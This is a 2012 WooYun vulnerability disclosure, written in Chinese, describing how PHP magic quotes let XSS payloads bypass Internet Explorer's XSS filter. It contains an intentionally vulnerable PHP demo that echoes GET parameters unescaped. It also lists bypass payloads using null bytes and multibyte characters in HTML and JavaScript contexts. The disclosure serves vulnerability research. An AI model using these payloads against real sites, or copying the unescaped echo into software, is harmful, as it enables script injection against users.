当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-013352

漏洞标题:PHP魔术引号导致IE XSS Filter bypass

相关厂商:微软

漏洞作者: Sogili

提交时间:2012-10-14 21:28

修复时间:2012-10-14 21:28

公开时间:2012-10-14 21:28

漏洞类型:xss跨站脚本攻击

危害等级:低

自评Rank:1

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-10-14: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-10-14: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

在一些web容器中会对一些特殊字符做转换处理,这中间ie xss filter开发人员任何地方对它的了解有疏忽,都很可能导致bypass.

详细说明:

在php中,如果开启了”魔术引号”特性(magic_quotes_gpc = On),则‘ (single-quote), “ (double quote), \ (backslash) 和 NULL 字符将都会被反斜杠转义(%00 =>\0).
1. xss.php demo source code:

<?php echo $_GET['x']?> 
<script type="text/javascript">
var x="<?php echo $_GET['z']?>"
</script>


2. HTML bypass case:

<script>alert(1)</script>   
<script/%00%00%00%00%00>alert(1)</script>
%00%00v%00%00<script>alert(1)</script>
<script/%00%00v%00%00>alert(1)</script>


tips:
1. 绕过字符必须出现在拦截规则中,例如拦截<script>就可以是<script [here]>.
3. Javascript bypass case:

“;alert(1)//   
%c0″;alert(%00)//
%c0″;//(%0dalert(1)//
%c0″;//(%0dalert(1)//
%c0″;//(%00%0dalert(1)//
%c0″//(%000000%0dalert(1)//


tips:

1. 需要通过多字节问题吃掉一个\. 
2. //(%000000%0d是用于绕过函数调用的拦截规则.

漏洞证明:

修复方案:

加入%00 => \0 规则,当然这样可能还会产生别的问题

版权声明:转载请注明来源 Sogili@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:18 (WooYun评价)